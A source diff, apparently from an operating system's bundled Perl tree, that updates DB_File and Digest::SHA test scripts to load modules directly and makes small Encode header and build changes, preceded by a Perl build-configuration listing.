+ usemymalloc=n
+ default_inc_excludes_dot=define
+ bincompat5005=undef
+ Compiler:
+ cc='cc'
+ ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2'
+ optimize='-O2'
+ cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include'
+ ccversion=''
+ gccversion='7.3.1 20180307 [gcc-7-branch revision 258314]'
+ gccosandvers=''
+ intsize=4
+ longsize=8
+ ptrsize=8
+ doublesize=8
+ byteorder=12345678
+ doublekind=3
+ d_longlong=define
+ longlongsize=8
+ d_longdbl=define
+ longdblsize=16
+ longdblkind=3
+ ivtype='long'
+ ivsize=8
+ nvtype='long double'
+ nvsize=16
+ Off_t='off_t'
+ lseeksize=8
+ alignbytes=16
+ prototype=define
+ Linker and Libraries:
+ ld='cc'
+ ldflags ='-L/pro/local/lib -fstack-protector-strong'
+ libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/7/include-fixed /usr/lib64/gcc/x86_64-suse-linux/7/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+ libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat
+ perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+ libc=libc-2.27.so
+ so=so
+ useshrplib=false
+ libperl=libperl.a
+ gnulibc_version='2.27'
+ Dynamic Linking:
+ dlsrc=dl_dlopen.xs
+ dlext=so
+ d_dlsymun=undef
+ ccdlflags='-Wl,-E'
+ cccdlflags='-fPIC'
+ lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector-strong'
+
+
+Characteristics of this binary (from libperl):
+ Compile-time options:
+ DEBUGGING
+ HAS_TIMES
+ MULTIPLICITY
+ PERLIO_LAYERS
+ PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV
+ PERL_IMPLICIT_CONTEXT
+ PERL_MALLOC_WRAP
+ PERL_OP_PARENT
+ PERL_PRESERVE_IVUV
+ PERL_TRACK_MEMPOOL
+ PERL_USE_DEVEL
+ USE_64_BIT_ALL
+ USE_64_BIT_INT
+ USE_ITHREADS
+ USE_LARGE_FILES
+ USE_LOCALE
+ USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE
+ USE_LOCALE_NUMERIC
+ USE_LOCALE_TIME
+ USE_LONG_DOUBLE
+ USE_PERLIO
+ USE_PERL_ATOF
+ USE_REENTRANT_API
+ Built under linux
+ Compiled at Apr 12 2018 13:37:01
+ @INC:
+ lib
+ /pro/lib/perl5/site_perl/5.27.11/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/site_perl/5.27.11
+ /pro/lib/perl5/5.27.11/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/5.27.11
diff --git a/gnu/usr.bin/perl/cpan/DB_File/t/db-btree.t b/gnu/usr.bin/perl/cpan/DB_File/t/db-btree.t
index fb89a408556..4e2968eeb53 100755
--- a/gnu/usr.bin/perl/cpan/DB_File/t/db-btree.t
+++ b/gnu/usr.bin/perl/cpan/DB_File/t/db-btree.t
@@ -1261,33 +1261,6 @@ EOM
}
-#{
-# # R_SETCURSOR
-# use strict ;
-# my (%h, $db) ;
-# unlink $Dfile;
-#
-# ok(156, $db = tie(%h, 'DB_File', $Dfile, O_RDWR|O_CREAT, 0640, $DB_BTREE ) );
-#
-# $h{abc} = 33 ;
-# my $k = "newest" ;
-# my $v = 44 ;
-# my $status = $db->put($k, $v, R_SETCURSOR) ;
-# print "status = [$status]\n" ;
-# ok(157, $status == 0) ;
-# $status = $db->del($k, R_CURSOR) ;
-# print "status = [$status]\n" ;
-# ok(158, $status == 0) ;
-# $k = "newest" ;
-# ok(159, $db->get($k, $v, R_CURSOR)) ;
-#
-# ok(160, keys %h == 1) ;
-#
-# undef $db ;
-# untie %h;
-# unlink $Dfile;
-#}
-
{
# Bug ID 20001013.009
#
@@ -1654,4 +1627,37 @@ ok(165,1);
untie %h;
unlink $Dfile;
}
+
+#{
+# # R_SETCURSOR
+# use strict ;
+# my (%h, $db) ;
+# unlink $Dfile;
+#
+# ok 198, $db = tie(%h, 'DB_File', $Dfile, O_RDWR|O_CREAT, 0640, $DB_BTREE ) ;
+#
+# $h{abc} = 33 ;
+# my $k = "newest" ;
+# my $v = 44 ;
+# my $status = $db->put($k, $v, R_SETCURSOR) ;
+# print "status = [$status]\n" ;
+# ok 199, $status == 0 ;
+# $k = $v = '';
+# $status = $db->get($k, $v, R_CURSOR) ;
+# ok 200, $status == 0 ;
+# ok 201, $k eq 'newest';
+# ok 202, $v == 44;
+# $status = $db->del($k, R_CURSOR) ;
+# print "status = [$status]\n" ;
+# ok(203, $status == 0) ;
+# $k = "newest" ;
+# ok(204, $db->get($k, $v, R_CURSOR)) ;
+#
+# ok(205, keys %h == 1) ;
+#
+# undef $db ;
+# untie %h;
+# unlink $Dfile;
+#}
+
exit ;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/allfcns.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/allfcns.t
index 9f2a9ba5344..c2de21cce25 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/allfcns.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/allfcns.t
@@ -1,29 +1,15 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(
- hmac_sha1 hmac_sha1_base64 hmac_sha1_hex
- hmac_sha224 hmac_sha224_base64 hmac_sha224_hex
- hmac_sha256 hmac_sha256_base64 hmac_sha256_hex
- hmac_sha384 hmac_sha384_base64 hmac_sha384_hex
- hmac_sha512 hmac_sha512_base64 hmac_sha512_hex
- sha1 sha1_base64 sha1_hex
- sha224 sha224_base64 sha224_hex
- sha256 sha256_base64 sha256_hex
- sha384 sha384_base64 sha384_hex
- sha512 sha512_base64 sha512_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(
+ hmac_sha1 hmac_sha1_base64 hmac_sha1_hex
+ hmac_sha224 hmac_sha224_base64 hmac_sha224_hex
+ hmac_sha256 hmac_sha256_base64 hmac_sha256_hex
+ hmac_sha384 hmac_sha384_base64 hmac_sha384_hex
+ hmac_sha512 hmac_sha512_base64 hmac_sha512_hex
+ sha1 sha1_base64 sha1_hex
+ sha224 sha224_base64 sha224_hex
+ sha256 sha256_base64 sha256_hex
+ sha384 sha384_base64 sha384_hex
+ sha512 sha512_base64 sha512_hex);
print "1..1\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/base64.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/base64.t
index 2cafdbd8dec..6ebba00f3bd 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/base64.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/base64.t
@@ -1,20 +1,6 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha1_base64 sha224_base64 sha256_base64
- sha384_base64 sha512_base64));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha1_base64 sha224_base64 sha256_base64
+ sha384_base64 sha512_base64);
my $in = "abc";
my @out = map { eval } <DATA>;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitbuf.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitbuf.t
index 78b499baba9..4cf4032d98c 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitbuf.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitbuf.t
@@ -1,19 +1,5 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA;
my $numtests = 4;
print "1..$numtests\n";
@@ -23,7 +9,7 @@ print "1..$numtests\n";
my $ONEBITS = pack("B*", "1" x 80000);
my $digest = "11003389959355c2773af6b0f36d842fe430ec49";
-my $state = $MODULE->new("sHa1");
+my $state = Digest::SHA->new("sHa1");
my $testnum = 1;
$state->add_bits($ONEBITS, 80000);
@@ -44,7 +30,7 @@ print "ok ", $testnum++, "\n";
# create a buffer-alignment nuisance
-$state = $MODULE->new("1");
+$state = Digest::SHA->new("1");
$state->add_bits($ONEBITS, 1);
for (1 .. 99) {
@@ -60,7 +46,7 @@ print "ok ", $testnum++, "\n";
my $reps = 80000;
my $maxbits = 8 * 127;
-$state = $MODULE->new(1);
+$state = Digest::SHA->new(1);
while ($reps > $maxbits) {
my $num = int(rand($maxbits));
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitorder.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitorder.t
index 2cd2dbf56b9..750f3b5a266 100644
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitorder.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/bitorder.t
@@ -1,29 +1,18 @@
use strict;
+use Digest::SHA;
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+my $numtests = 2;
+print "1..$numtests\n";
-my $s1 = $MODULE->new;
-my $s2 = $MODULE->new;
+my $testnum = 1;
+my $s1 = Digest::SHA->new;
+my $s2 = Digest::SHA->new;
my $d1 = $s1->add_bits("110")->hexdigest;
my $d2 = $s2->add_bits("1")->add_bits("1")->add_bits("0")->hexdigest;
+print "not " unless $d1 eq $d2;
+print "ok ", $testnum++, "\n";
-my $numtests = 1;
-print "1..$numtests\n";
-
-for (1 .. $numtests) {
- print "not " unless $d1 eq $d2;
- print "ok ", $_, "\n";
-}
+$d1 = $s1->add_bits("111100001010")->hexdigest;
+$d2 = $s2->add_bits("\xF0\xA0", 12)->hexdigest;
+print "not " unless $d1 eq $d2;
+print "ok ", $testnum++, "\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips180-4.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips180-4.t
index 78feb8d6c84..161a9346f21 100644
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips180-4.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips180-4.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha512_hex sha512224_hex sha512256_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha512_hex sha512224_hex sha512256_hex);
my @vecs = map { eval } <DATA>;
-# $#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips198.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips198.t
index f6f5007f5f7..da0c15667c7 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips198.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/fips198.t
@@ -1,19 +1,5 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(hmac_sha1_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(hmac_sha1_hex);
my @data = map { "Sample #$_" } (1 .. 4);
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/gg.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/gg.t
index 6ca8f7fb9c8..af0f5d6fa71 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/gg.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/gg.t
@@ -1,21 +1,7 @@
# Test against short bitwise vectors from Jim Gillogly and Francois Grieu
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA;
# SHA-1 Test Vectors
#
@@ -57,7 +43,7 @@ my $numtests = scalar(@vecs) / 4;
print "1..$numtests\n";
my $testnum = 1;
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
while (@vecs) {
my $frag = shift @vecs;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/gglong.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/gglong.t
index 044799f69e4..5551eefff88 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/gglong.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/gglong.t
@@ -1,21 +1,7 @@
# Test against long bitwise vectors from Jim Gillogly and Francois Grieu
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA;
# SHA-1 Test Vectors
#
@@ -57,7 +43,7 @@ for (1 .. 8) { my $line = <DATA>; $STATE011 .= $line }
my $testnum = 1;
print "1..", scalar(@vec110)/2 + scalar(@vec011)/2, "\n";
-my $state110 = $MODULE->putstate($STATE110);
+my $state110 = Digest::SHA->putstate($STATE110);
while (@vec110) {
my $state = $state110->clone;
$state->add_bits(shift @vec110);
@@ -65,7 +51,7 @@ while (@vec110) {
print "ok ", $testnum++, "\n";
}
-my $state011 = $MODULE->putstate($STATE011);
+my $state011 = Digest::SHA->putstate($STATE011);
while (@vec011) {
my $state = $state011->clone;
$state->add_bits(shift @vec011);
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/hmacsha.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/hmacsha.t
index 47e65fefbe3..a4e6f5cb984 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/hmacsha.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/hmacsha.t
@@ -1,21 +1,7 @@
# HMAC-SHA-256 test vectors from draft-ietf-ipsec-ciph-sha-256-01.txt
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(hmac_sha256 hmac_sha256_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(hmac_sha256 hmac_sha256_hex);
my @data = map { eval } <DATA>;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/inheritance.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/inheritance.t
index d94c23ae1a2..5880e6e8dd9 100644
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/inheritance.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/inheritance.t
@@ -1,25 +1,11 @@
# Adapted from script by Mark Lawrence (ref. rt.cpan.org #94830)
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha1));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha1);
package P1;
use vars qw(@ISA);
-@ISA = ($MODULE);
+@ISA = ("Digest::SHA");
package main;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/ireland.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/ireland.t
index 46499950f4d..ef1ed3372b1 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/ireland.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/ireland.t
@@ -1,31 +1,17 @@
-use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
-
# David Ireland's test vector - SHA-256 digest of "a" x 536870912
# Adapted from Julius Duque's original script (t/24-ireland.tmp)
# - modified to use state cache via putstate method
+use strict;
+use Digest::SHA;
+
print "1..1\n";
my $rsp = "b9045a713caed5dff3d3b783e98d1ce5778d8bc331ee4119d707072312af06a7";
my $sha;
-if ($sha = $MODULE->putstate(join('', <DATA>))) {
+if ($sha = Digest::SHA->putstate(join('', <DATA>))) {
$sha->add("aa");
print "not " unless $sha->hexdigest eq $rsp;
print "ok 1\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbit.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbit.t
index 91dc2804d9a..eef1271cc70 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbit.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbit.t
@@ -1,21 +1,7 @@
# Test against SHA-1 Sample Vectors from NIST
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA;
my $nist_hashes = <<END_OF_NIST_HASHES;
DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 ^
@@ -51,7 +37,7 @@ print "1..", scalar(@hashes), "\n";
my $testnum = 1;
my $message = "";
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
for (@lines) {
next unless /^[\d ^]/;
$message .= $_;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbyte.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbyte.t
index ce133d64675..1bdafa6bebe 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbyte.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/nistbyte.t
@@ -1,21 +1,7 @@
# Test against SHA-1 Sample Vectors from NIST
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw());
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA;
my $nist_hashes = <<END_OF_NIST_HASHES;
DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 ^
@@ -51,7 +37,7 @@ print "1..", scalar(@hashes), "\n";
my $testnum = 1;
my $message = "";
-my $sha = $MODULE->new(1);
+my $sha = Digest::SHA->new(1);
for (@lines) {
next unless /^[\d ^]/;
$message .= $_;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/rfc2202.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/rfc2202.t
index 3efb50b5a50..30066250307 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/rfc2202.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/rfc2202.t
@@ -1,19 +1,5 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(hmac_sha1_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(hmac_sha1_hex);
my @data = map { eval } <DATA>;
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha1.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha1.t
index ed2c68edcfe..2c8313dc0af 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha1.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha1.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha1_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha1_hex);
my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha224.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha224.t
index e94820d485e..ab70b31e6a3 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha224.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha224.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha224_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha224_hex);
my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha256.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha256.t
index 78aeb9dc3d1..72c1e8d5934 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha256.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha256.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha256_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha256_hex);
my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha384.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha384.t
index 9d026ae1ff5..273944920e9 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha384.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha384.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha384_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha384_hex);
my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha512.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha512.t
index fcfe7669611..d417f6649ad 100755
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha512.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/sha512.t
@@ -1,22 +1,7 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha512_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha512_hex);
my @vecs = map { eval } <DATA>;
-$#vecs -= 2 if $MODULE eq "Digest::SHA::PurePerl";
my $numtests = scalar(@vecs) / 2;
print "1..$numtests\n";
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/state.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/state.t
index 83e25408189..ff622bac96a 100644
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/state.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/state.t
@@ -1,19 +1,5 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha384_hex sha512_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha384_hex sha512_hex);
my @sharsp = (
"34aa973cd4c4daa4f61eeb2bdbad27316534016f",
@@ -48,7 +34,7 @@ while (@sharsp) {
}
my $digest;
my $state;
- unless ($state = $MODULE->putstate(shift @states)) {
+ unless ($state = Digest::SHA->putstate(shift @states)) {
print "not ok ", $testnum++, "\n";
next;
}
diff --git a/gnu/usr.bin/perl/cpan/Digest-SHA/t/unicode.t b/gnu/usr.bin/perl/cpan/Digest-SHA/t/unicode.t
index 1e7bd13d531..9f0107a404e 100644
--- a/gnu/usr.bin/perl/cpan/Digest-SHA/t/unicode.t
+++ b/gnu/usr.bin/perl/cpan/Digest-SHA/t/unicode.t
@@ -1,19 +1,5 @@
use strict;
-
-my $MODULE;
-
-BEGIN {
- $MODULE = (-d "src") ? "Digest::SHA" : "Digest::SHA::PurePerl";
- eval "require $MODULE" || die $@;
- $MODULE->import(qw(sha1_hex));
-}
-
-BEGIN {
- if ($ENV{PERL_CORE}) {
- chdir 't' if -d 't';
- @INC = '../lib';
- }
-}
+use Digest::SHA qw(sha1_hex);
my $skip = $] < 5.006 ? 1 : 0;
diff --git a/gnu/usr.bin/perl/cpan/Encode/Encode/_T.e2x b/gnu/usr.bin/perl/cpan/Encode/Encode/_T.e2x
index 6cf5f293d54..7b9a67e43d7 100644
--- a/gnu/usr.bin/perl/cpan/Encode/Encode/_T.e2x
+++ b/gnu/usr.bin/perl/cpan/Encode/Encode/_T.e2x
@@ -2,6 +2,8 @@ use strict;
# Adjust the number here!
use Test::More tests => 2;
-use_ok('Encode');
-use_ok('Encode::$_Name_');
+BEGIN {
+ use_ok('Encode');
+ use_ok('Encode::$_Name_');
+}
# Add more test here!
diff --git a/gnu/usr.bin/perl/cpan/Encode/Encode/encode.h b/gnu/usr.bin/perl/cpan/Encode/Encode/encode.h
index 5fbcf76ad38..df5554f1cb8 100644
--- a/gnu/usr.bin/perl/cpan/Encode/Encode/encode.h
+++ b/gnu/usr.bin/perl/cpan/Encode/Encode/encode.h
@@ -88,7 +88,12 @@ extern void Encode_DefineEncoding(encode_t *enc);
#define ENCODE_FALLBACK 4
#define ENCODE_FOUND_TERM 5
-#define FBCHAR_UTF8 "\xEF\xBF\xBD"
+/* Use the perl core value if available; it is portable to EBCDIC */
+#ifdef REPLACEMENT_CHARACTER_UTF8
+# define FBCHAR_UTF8 REPLACEMENT_CHARACTER_UTF8
+#else
+# define FBCHAR_UTF8 "\xEF\xBF\xBD"
+#endif
#define ENCODE_DIE_ON_ERR 0x0001 /* croaks immediately */
#define ENCODE_WARN_ON_ERR 0x0002 /* warn on error; may proceed */
diff --git a/gnu/usr.bin/perl/cpan/Encode/Unicode/Makefile.PL b/gnu/usr.bin/perl/cpan/Encode/Unicode/Makefile.PL
index ce48b7aace1..b28d16bb96b 100644
--- a/gnu/usr.bin/perl/cpan/Encode/Unicode/Makefile.PL
+++ b/gnu/usr.bin/perl/cpan/Encode/Unicode/Makefile.PL
@@ -3,7 +3,7 @@ use strict;
use ExtUtils::MakeMaker;
WriteMakefile(
- INC => "-I../Encode",
+ INC => "-I../Encode",
NAME => 'Encode::Unicode',
VERSION_FROM => "Unicode.pm",
MAN3PODS => {},
